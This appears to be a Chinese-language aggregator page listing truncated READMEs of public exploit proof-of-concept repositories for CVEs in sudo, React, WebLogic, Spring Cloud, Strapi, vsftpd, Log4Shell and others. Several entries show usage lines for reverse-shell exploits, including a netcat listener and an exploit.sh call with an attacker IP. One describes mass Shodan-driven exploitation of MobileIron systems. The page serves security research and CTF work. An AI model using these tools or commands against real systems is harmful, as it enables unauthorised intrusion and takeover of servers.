CVE-2025-32463_POC

CVE-2025-32463 – sudo chroot（“chwoot”）PoC 本仓库提供了一个最小化、可复现的环境，用于演示 sudo chroot 功能中的 CVE‑2025‑32463 权限提升漏洞。 目录 文件| 用途 ---|--- Dockerfile| 构建一个 Ubuntu 24.04 镜像，其中包含存在漏洞的 sudo 1.9.16p2 和构建工具 sudo‑chwoot.sh| 概念验证（PoC）漏洞利用，可在 chroot 内生成 root shell run.sh| 辅助脚本，用于构建镜像（如需要）并启动漏洞利用容器 受影响版本 大多数 Linux...

CVE-2025-14700-poc

CVE-2025-14700 POC Crafty Controller --login --password --lhost --lport 此脚本使用 netcat 在触发反向 Shell 载荷后设置监听器。如果您的监听机器上没有 netcat，它将无法工作。...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 漏洞利用脚本 🔥 简介 此仓库包含一个针对 React2Shell 漏洞（CVE-2025–55182）的利用脚本，该漏洞针对一种特定的 Node.js 原型污染 ，可导致远程代码执行（RCE） 。 该脚本专门设计用于通过向易受攻击的应用程序注入恶意载荷来建立 Netcat 反向 Shell 连接。 ⚠️ 免责声明 此工具仅供教育和研究目的 使用。 ⚙️ 前置条件 Python 3.x requests 库 安装 你可以使用 pip 安装所需的 Python 依赖项： root@kitploit: pip install...

CVE-2024-5084-Red-Team

🚀 HashForm 漏洞利用 – 实验室演示 本仓库包含针对 CVE-2024-5084 的概念验证漏洞利用代码，该漏洞存在于 Hash Form WordPress 插件中。 它仅供学习、实验室测试和安全研究使用。 📌 关于漏洞 CVE ID: CVE-2024-5084 问题：未认证的文件上传 → 远程代码执行 插件：Hash Form – 拖放式表单构建器 ≤ 1.1.0 影响：允许攻击者上传恶意文件并执行系统命令 本实验室演示了不安全的文件上传处理如何导致服务器被完全入侵。 🧪 实验室环境搭建（仅限本地/练习） 推荐环境： Windows 或 Linux 虚拟机 XAMPP /...

CVE-2023-30258-magnus-billing-v7-exploit

Magnus Billing System v7 漏洞利用脚本 该 Python 脚本可自动化利用 Magnus Billing System v7 中的命令注入漏洞，该漏洞位于 /mbilling/lib/icepay/icepay.php 脚本的 icepay.php 中。利用程序通过 democ 参数在目标系统上执行任意命令，最终在攻击者控制的机器上建立反向 shell。 漏洞概述 该漏洞允许未认证的攻击者通过精心构造的 GET 请求进行命令注入。原始概念验证（PoC）使用了以下 curl 命令： root@kitploit: curl -s...

Dirtypipe-exploit

Dirty Pipe 漏洞利用 Dirty Pipe CVE-2022-0847 概念验证PoC，通过劫持一个 SUID 二进制文件来生成一个 root shell。（并尝试恢复受损的二进制文件）...

cve-2016-0728-testbed

CVE-2016-0728 测试平台 该仓库包含一个针对 CVE-2016-0728 的测试程序，这是 Linux 中一个导致释放后使用（use-after-free）的引用计数泄漏与溢出漏洞。 该漏洞由 Perception Point 发现并分析。本人与该团队无关联。 用法 root@kitploit: Welcome to the CVE-2016-0728 testbed sizeofstruct msgmsg == 0x30, sizeofstruct key == 0xb8 PID: 27673, UID: 1000/1000 Keyring: 1b66e5d6,...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-概念验证 Chamilo LMS 未授权大文件上传漏洞，可导致远程代码执行 此代码专为 HackTheBox CTF PERMX 制作和使用 Chamilo LMS v1.11.24 及更早版本中的大文件上传功能 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 存在未授权文件上传漏洞，允许向服务器上传任意文件，从而允许我们上传 PHP 反向 shell 该脚本通过创建 PHP shell 文件、将其上传到服务器并启动 netcat 监听器，从而获取反向 shell 用法: python exploit....

CVE-2023-38035-MobileIron-RCE

MobileIron CVE-2023-38035 漏洞利用 README.md 描述 该 bash 脚本自动扫描易受 CVE-2023-38035 漏洞影响的 MobileIron 系统。脚本执行多项检查，包括检查所需程序、从 Shodan 下载潜在目标、扫描这些目标，最后尝试在易受攻击的系统上启动 shell。 功能 自动 Shodan 查询，查找易受攻击的 MobileIron 系统 提取 IP 地址以供扫描 自动评估目标漏洞 提供使用不同方法（如 ncat 或 multireverse.sh）执行反向 shell 的选项 检查缺失的依赖项并推荐安装 漂亮横幅，让工具看起来很酷 😎...

CVE-2019-2729_creal

CVE-2019-2729 - creal 在 WebLogic 上利用 CVE-2019-2729 的 PoC 漏洞利用方法 root@kitploit: python3 creal.py -h usage: creal.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --command CMD command -s SH,...

CVE-2018-10933_ssh

CVE-2018-10933 测试此代码： 从主页获取易受攻击的 libssh 版本：https://www.libssh.org/files/0.7/libssh-0.7.4.tar.xz 解压并构建，然后进入 example 目录，那里有一个使用 libssh 的简单 sshd 服务器，名称：samplesshd-cb 通过以下命令运行这个简单的 sshd： $ samplesshd-cb 127.0.0.1 -p 2222 运行我的代码，输出将是： Allocated session channel Allocated shell...

Strapi-RCE

Strapi-RCE 展示结合了 CVE-2019-18818 和 CVE-2019-19609 的利用脚本，用于在 Strapi CMS 中实现未经认证的远程代码执行。 漏洞利用 此脚本利用了 Strapi CMS 3.0.0-beta.17.4 及更低版本中的一个漏洞，允许未经认证的远程代码执行。 描述 该利用方法首先利用密码重置漏洞获取管理用户的 JSON Web Token JWT。然后使用该令牌向 Strapi CMS 发送恶意负载，从而触发反向 shell 回连到攻击者的机器。 使用方法 1. 克隆仓库： root@kitploit: git clone...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring Cloud RCE 漏洞利用工具 CVE-2022-22963 用于 CVE-2022-22963 远程命令执行的 Spring Cloud Function 漏洞利用工具 关于此漏洞的详细信息，请参见此处和此处 PoC 在你的主机上运行 netcat： root@kitploit: $ nc -lvnp 9001 在攻击者主机上使用默认端口 9001 运行漏洞利用工具（示例）： root@kitploit: $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-22963 RC...

php_reverse_shell

此存储库没有 README。...

cve-2025-23266-migration-bypass

cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass dos métodos para obtener el contenido de la flag: 1. copiarlo desde el host al directorio montado del contenedor; 2. usar una reverse shell para obtenerlo;...

php-8.1.0-dev-exploit

php-8.1-dev-Exploit ⚠️ 重要（请先阅读） 本仓库包含一个 Java 概念验证（PoC），仅供 CTF / 实验环境使用。请勿对非您拥有或未经明确书面授权测试的系统运行此代码。未经授权的利用行为属违法行为。请仅在隔离环境（虚拟机、容器、私有 CTF/HTB 靶机）中使用。 前置条件 已安装 Java JDK（8+）（javac 和 java 已加入 PATH） 攻击机与目标机之间存在网络连通性（实验室 / CTF 网络） 在主机上准备好一个用于接收反向 shell 的监听器（例如 nc -lvnp ），并在尝试 PoC 前在单独的终端中运行。...

Log4Shell-CVE-2021-44228-ENV

Log4Shell复现环境 示例说明 被攻击机ip：47.47.47.47 攻击机ip：48.48.48.48 被攻击机运行漏洞Docker 使用DockerFile build docker镜像运行： root@kitploit: docker build . -t vuln docker run -p 8080:8080 --name vuln vuln 攻击机运行攻击Docker 使用DockerFile build docker镜像运行 root@kitploit: docker build . -t attack docker run -itd -p 9999:9999 -p...

CVE-2016-6662

CVE-2016-6662 通过 CVE-2016-6662 从 SQL 注入到 root shell，作者：MaYaSeVeN 概念验证：https://www.youtube.com/watch?v=lyc7GFE3q2U...

CVE-2024-48990-POC

CVE-2024-48990-POC 针对 CVE-2024-48990 与 needrestart 的权限提升漏洞的简单 PoC。 https://www.qualys.com/2024/11/19/needrestart/needrestart.txt 概述 这是在完成 HackTheBox 挑战 'Conversor' 时设计的。稍后会进行一些修改以使其更通用。我只是不喜欢我找到的实现方式，所以决定自己写一个。以后可能会添加更多内容。 注意 ：我可能会在之后更改实现，将其改为直接升级当前会话，而不是创建新的反向 shell。 用法 这是一个自动执行漏洞利用的 bash...

vsftpd2.3.4PyExploit

vsftpd2.3.4PyExploit 一个用 Python 编写的漏洞利用程序，用于在 vsftpd 2.3.4（CVE-2011-2523）中获取 root 权限 用法： ./exploit.py $VictimIPaddress 注意！该漏洞利用程序打开的 shell 并非反向 shell。我建议在利用完成后打开一个反向 shell。我在这里没有这样做，因为我不想假设受害主机上拥有哪些工具和权限。 你也可以在以下地址找到它：https://www.exploit-db.com/exploits/49757...